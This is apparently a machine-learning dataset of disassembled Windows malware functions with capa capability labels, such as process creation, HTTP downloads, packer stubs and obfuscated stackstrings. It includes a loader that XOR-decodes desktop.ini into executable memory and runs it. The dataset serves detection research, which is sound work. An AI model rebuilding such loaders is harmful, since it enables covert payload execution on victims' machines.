joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6b9698
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x6b9785
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x6b97a4
push ebx
push 0x6b97b4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040bb0c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040801c
mov dword [ebp - 0x48], 0x44
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], di
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
call fcn.004280e0
mov eax, dword [ebp - 0x5c]
call fcn.0040b81c
push eax
push 0
push 0x30
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040b81c
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessW
cmp eax, 1
sbb eax, eax
inc eax
mov ebx, eax
test bl, bl
je 0x6b9767
jmp 0x6b9746
mov eax, dword [0x71de00]
mov eax, dword [eax]
call fcn.0062bd30
push 0x32
mov eax, dword [ebp - 0x58]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
test eax, eax
jne 0x6b973a
mov eax, dword [ebp - 0x58]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x54]
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6b978c
lea eax, [ebp - 0x5c]
call fcn.0040acdc
lea eax, [ebp - 4]
call fcn.0040acdc
ret

Function at 0x6b97bc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040adc0
lea esi, [ebp - 0x40]
xor eax, eax
push ebp
push 0x6b9886
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor ecx, ecx
mov edx, 0x3c
call fcn.0040801c
mov dword [esi], 0x3c
mov dword [esi + 4], 0x140
call sub.user32.dll_GetActiveWindow
mov dword [esi + 8], eax
mov eax, 0x6b9894
mov dword [esi + 0xc], eax
mov eax, 0x6b98a0
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x44]
mov ecx, dword [ebp - 4]
mov edx, 0x6b98bc
call fcn.0040ba84
mov eax, dword [ebp - 0x44]
call fcn.0040b81c
mov dword [esi + 0x14], eax
xor eax, eax
mov dword [esi + 0x1c], eax
push esi
call sub.shell32.dll_ShellExecuteExW
test eax, eax
je 0x6b9868
mov ebx, dword [esi + 0x38]
jmp 0x6b9853
mov eax, dword [0x71de00]
mov eax, dword [eax]
call fcn.0062bd30
push 0x32
mov eax, dword [esi + 0x38]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
test eax, eax
jne 0x6b9847
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6b988d
lea eax, [ebp - 0x44]
call fcn.0040acdc
lea eax, [ebp - 4]
call fcn.0040acdc
ret
Function at 0x6d1560
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff998
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x668], ecx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x6d16ef
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
lea edx, [ebp - 0x668]
mov eax, dword [0x71de00]
mov eax, dword [eax]
call fcn.0062c874
mov eax, dword [ebp - 0x668]
lea edx, [ebp - 4]
call fcn.00428250
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040b81c
push eax
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x6d16c7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, esi
call fcn.0040b81c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6d1600
call fcn.0040a4cc
jmp 0x6d16ce
cmp ebx, dword [ebp - 0x10]
jne 0x6d160f
call fcn.0040a4cc
jmp 0x6d16ce
xor eax, eax
push ebp
push 0x6d16a9
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, edi
lea eax, [ebp - 0x664]
call fcn.00407da8
call fcn.00407088
mov edx, 1
lea eax, [ebp - 0x664]
call fcn.004081d0
call fcn.00407088
lea eax, [ebp - 0x14]
push eax
push 0x400
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x414]
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x664]
call fcn.00407fa4
call fcn.00407088
cmp dword [ebp - 0x14], 0
jne 0x6d1644
lea eax, [ebp - 0x664]
call fcn.00407fc4
call fcn.00407088
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6d16b0
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6d16f6
lea eax, [ebp - 0x668]
call fcn.0040acdc
lea eax, [ebp - 4]
call fcn.0040acdc
ret

Function at 0x6d1ce4
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x6d1db5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x1c]
movzx edx, bl
add dx, 0x30
call fcn.0040b840
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
mov edx, 0x6d1dd4
call fcn.0040ba84
mov eax, dword [ebp - 0x18]
call fcn.0040b81c
push eax
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x6d1d9a
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0x14]
push eax
push 8
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x7405c
push ebx
call sub.KERNEL32.DLL_DeviceIoControl
test eax, eax
je 0x6d1d94
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push ebx
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6d1dbc
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.0040ad3c
ret
Function at 0x6d1f28
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
test esi, esi
js 0x6d1f4a
mov edi, dword [ebx + esi*4]
dec esi
push edi
jns 0x6d1f43
mov dword [ebp + 0xc], esp
mov ebx, ecx
test ebx, ebx
js 0x6d1f5a
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x6d1f53
mov edx, esp
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
inc ecx
mov eax, dword [ebp - 4]
mov edx, dword [0x4012c8]
call fcn.0040c720
mov ecx, dword [ebp + 8]
inc ecx
mov eax, dword [ebp + 0xc]
mov edx, dword [0x4012c8]
call fcn.0040c720
xor eax, eax
push ebp
push 0x6d2049
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
call fcn.006d1df8
lea ecx, [ebp - 0xc]
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.006d1df8
mov dword [ebp - 0x2e], ebx
mov dword [ebp - 0x2a], 2
mov eax, dword [ebp - 8]
mov dword [ebp - 0x26], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x22], eax
mov word [ebp - 0x1e], 0x115
xor eax, eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2e]
push eax
call sub.shell32.dll_SHFileOperationW
mov ebx, eax
lea eax, [ebp - 8]
mov edx, dword [0x6b7128]
call fcn.0040da48
lea eax, [ebp - 0xc]
mov edx, dword [0x6b7128]
call fcn.0040da48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6d2050
lea eax, [ebp - 0xc]
mov edx, dword [0x6b7128]
mov ecx, 2
call fcn.0040c438
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
inc ecx
mov edx, dword [0x4012c8]
call fcn.0040c438
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
inc ecx
mov edx, dword [0x4012c8]
call fcn.0040c438
ret
Function at 0x87cda0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x7b0015
lea edi, [esi - 0x3af015]
push edi
or ebp, 0xffffffff
jmp 0x87cdc2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x87cdc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x87cdb8
mov eax, 1
add ebx, ebx
jne 0x87cddb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x87cdd0
jne 0x87cdec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x87cdd0
xor ecx, ecx
sub eax, 3
jb 0x87ce00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x87ce72
mov ebp, eax
add ebx, ebx
jne 0x87ce0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x87ce18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x87ce3c
inc ecx
add ebx, ebx
jne 0x87ce28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x87ce1d
jne 0x87ce39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x87ce1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x87ce5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x87ce4d
jmp 0x87cdbe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x87ce5c
add edi, ecx
jmp 0x87cdbe
pop esi
mov edi, esi
mov ecx, 0xe8
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x87ce7a
cmp byte [edi], 0
jne 0x87ce7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x87ce7f
lea edi, [esi + 0x47a000]
mov eax, dword [edi]
or eax, eax
je 0x87ceee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x47f0b4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x47f140]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x87ceac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x47f144]
or eax, eax
je 0x87cee8
mov dword [ebx], eax
add ebx, 4
jmp 0x87cec9
call dword [esi + 0x47f148]
popal
jmp 0x4033a2
Function at 0x401d60
Capabilities:
Read .ini file
Set current directory

Disassembly:
mov eax, 0x1044
call fcn.0040b800
mov eax, dword [0x423ad4]
xor eax, esp
mov dword [esp + 0x1040], eax
push ebx
mov ebx, dword [esp + 0x1050]
push ebp
mov ebp, dword [esp + 0x1058]
push esi
push edi
mov edi, dword [esp + 0x1058]
push str.SetDefaultDllDirectories
push 0x41c4f0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
je 0x401db5
push 0x800
call eax
mov eax, dword [esp + 0x1064]
push eax
push ebp
push ebx
push edi
call fcn.004030ef
test eax, eax
je 0x401fc6
push 0x40e
lea ecx, [esp + 0x426]
push esi
push ecx
mov word [esp + 0x42c], si
call fcn.0040b6a0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
push 0x208
lea edx, [esp + 0x424]
push edx
push esi
call edi
test eax, eax
je 0x401fc6
lea eax, [esp + 0x420]
push 0x5c
push eax
call fcn.0040b66a
add esp, 8
lea ecx, [esp + 0x420]
push ecx
mov word [eax], si
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x401fc6
mov dword [0x424ee8], esi
call fcn.00401060
push eax
mov dword [0x424ef0], eax
call fcn.00401bf0
add esp, 4
test eax, eax
je 0x401fc6
push 0x206
lea edx, [esp + 0x16]
push esi
push edx
mov word [esp + 0x1c], si
call fcn.0040b6a0
push 0x40e
lea eax, [esp + 0xc52]
push esi
push eax
mov word [esp + 0xc58], si
call fcn.0040b6a0
push 0x40e
lea ecx, [esp + 0x84e]
push esi
push ecx
mov word [esp + 0x854], si
call fcn.0040b6a0
push 0x206
lea edx, [esp + 0x242]
push esi
push edx
mov word [esp + 0x248], si
call fcn.0040b6a0
add esp, 0x30
call fcn.00401060
mov dword [0x424ef0], eax
call fcn.00401ac0
mov dword [0x424eec], eax
push 0x104
lea eax, [esp + 0x424]
push eax
push esi
call edi
test eax, eax
je 0x401fc6
lea ecx, [esp + 0x420]
push ecx
lea edx, [esp + 0x834]
push 0x208
push edx
call fcn.0040b794
lea eax, [esp + 0x83c]
push 0x2e
push eax
call fcn.0040b66a
lea ecx, [esp + 0x844]
push ecx
lea edx, [esp + 0xc58]
push 0x208
push edx
mov word [eax + 2], si
call fcn.0040b71a
push 0x41c4e8
lea eax, [esp + 0xc64]
push 0x208
push eax
call fcn.0040b71a
mov eax, dword [0x424eec]
add esp, 0x2c
cmp eax, 7
ja case.0x401f55.0
jmp dword [eax*4 + 0x401fe4]
mov edi, 1
jmp 0x401f65
xor edi, edi
push str.Command
lea ecx, [esp + 0x21c]
push 0x104
push ecx
call fcn.0040b794
add esp, 0xc
lea edx, [esp + 0xc40]
push edx
push 0x104
lea eax, [esp + 0x18]
push eax
push esi
lea ecx, [esp + 0x228]
push ecx
push str.CommandLine
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp edi, esi
je 0x401fb9
call fcn.00401ba0
test eax, eax
jne 0x401fc6
lea edx, [esp + 0x10]
push edx
jmp 0x401fbe
lea eax, [esp + 0x10]
push eax
call fcn.00401a60
add esp, 4
mov ecx, dword [esp + 0x1050]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040b0f5
add esp, 0x1044
ret 0x10

Function at 0x40b0f5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x423ad4]
jne 0x40b0ff
repz ret
jmp fcn.0040f3bf
Function at 0x415b78
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
sal bh, cl
int1
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x415b9c
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004158ae
push ss
jne 0x415b82
insd dword es:[edi], dx
lea eax, [ebp - 0x40]
push eax
call fcn.004158be
push eax
push esi
push dword [ebp + 8]
call fcn.00415873
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.004158ae
xor eax, 0x8d0df433
inc ebp
call 0x5129b9a4
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.004158be
push eax
push esi
push dword [ebp + 8]
call fcn.00415873
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004158be
push eax
push esi
push dword [ebp + 8]
call fcn.00415873
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
inc ebp
jecxz 0x415d75
Function at 0x41743d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x78b], 0
mov byte [ebp - 0x78a], 0xa0
and byte [ebp - 0x789], 0
mov byte [ebp - 0x788], 3
mov byte [ebp - 0x787], 0x3b
mov byte [ebp - 0x786], 0x33
mov byte [ebp - 0x785], 0x3c
mov byte [ebp - 0x784], 0x30
mov byte [ebp - 0x783], 0x3a
mov byte [ebp - 0x782], 0x2d
mov byte [ebp - 0x781], 0x71
mov byte [ebp - 0x780], 0x3b
mov byte [ebp - 0x77f], 0x33
mov byte [ebp - 0x77e], 0x33
mov byte [ebp - 0x77d], 0x5f
push 0xc
lea eax, [ebp - 0x78c]
push eax
call fcn.004158be
pop ecx
push eax
mov eax, dword [ebp - 0x28]
lea eax, [ebp + eax - 0x12c]
push eax
call fcn.0041581f
add esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x3a0], eax
jmp 0x417826
sub eax, 0x9cfffff8
mov byte [ebp - 0x7d2], 0xc0
mov byte [ebp - 0x7d1], 0x82
mov byte [ebp - 0x7d0], 0x81
mov byte [ebp - 0x7cf], 0x89
mov byte [ebp - 0x7ce], 0xee
push 0xb
invalid
invalid
invalid

Function at 0x41a6be
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x423ad4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0041a653
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040b6a0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x41a70d
cmp dword [ebp - 0x1c], 5
jb 0x41a725
jmp 0x41a721
cmp dword [ebp - 0x10], 1
jne 0x41a725
cmp dword [ebp - 0x1c], 4
ja 0x41a721
jne 0x41a725
cmp dword [ebp - 0x18], 0
jbe 0x41a725
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x41f08c
call fcn.0041a544
test eax, eax
jge 0x41a746
mov byte [0x424ef4], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040b0f5
add ebp, 0x78
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40ee4c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x40ef89
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x40ef73
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x40eea9
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x40ef73
cmp dword [ebp - 0x14], 0
jne 0x40eec0
mov eax, dword [ebp - 0xc]
xor edx, edx
call fcn.00404edc
mov bl, 1
jmp 0x40ef73
cmp dword [ebp - 0x14], 0x70000000
jb 0x40eece
call fcn.0040c1f0
mov esi, dword [ebp - 0x14]
inc esi
shr esi, 1
lea eax, [ebp - 4]
mov ecx, esi
xor edx, edx
call fcn.00405018
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
call fcn.004056f0
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
push edi
call sub.advapi32.dll_RegQueryValueExW_1
cmp eax, 0xea
je 0x40ee72
test eax, eax
jne 0x40ef73
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 0xc]
je 0x40ef1c
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp + 8]
jne 0x40ef73
mov esi, dword [ebp - 0x14]
shr esi, 1
jmp 0x40ef24
dec esi
test esi, esi
je 0x40ef38
lea eax, [ebp - 4]
call fcn.00404990
cmp word [eax + esi*2 - 2], 0
je 0x40ef23
cmp dword [ebp - 0x10], 7
jne 0x40ef43
test esi, esi
je 0x40ef43
inc esi
lea eax, [ebp - 4]
mov edx, esi
call fcn.00405144
cmp dword [ebp - 0x10], 7
jne 0x40ef66
test esi, esi
je 0x40ef66
lea eax, [ebp - 4]
call fcn.004056f0
mov word [eax + esi*2 - 2], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404edc
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ef90
lea eax, [ebp - 4]
call fcn.00404ecc
ret

Function at 0x40f9cc
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x41cd94
mov eax, esi
mov edx, 8
test al, 1
je 0x40f9e8
shr eax, 1
xor eax, 0xedb88320
jmp 0x40f9ea
shr eax, 1
dec edx
jne 0x40f9db
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x40f9d4
pop esi
ret

Function at 0x40fa17
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x41cd90], 0
jne 0x40fa23
call fcn.0040f9cc
push 1
push 0x41cd90
call sub.kernel32.dll_InterlockedExchange
mov eax, edi
test esi, esi
je 0x40fa4e
mov edx, ebx
and edx, 0xff
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x41cd94]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x40fa29
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x4114c4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00411478
test al, al
jne 0x4114e5
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x411531
xor eax, eax
push ebp
push 0x411521
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404f68
push eax
call sub.kernel32.dll_DeleteFileW
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411528
lea eax, [ebp - 0xc]
call fcn.004114b4
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x411770
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x411778
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x411865
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.0040ecf8
mov edx, dword [ebp - 8]
mov ecx, 0x411880
xor eax, eax
call fcn.00411654
push 0
mov eax, dword [ebp - 4]
call fcn.00404f68
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x411833
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x411792
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x2f
call fcn.0041127c
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.004084bc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0040f2a0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x60
call fcn.0041124c
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x406f50]
call fcn.0040c1fc
call fcn.004040b0
jmp 0x411792
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404edc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41186c
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00404ed4
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ed4
ret

Function at 0x411938
Capabilities:
Check if file exists

Disassembly:
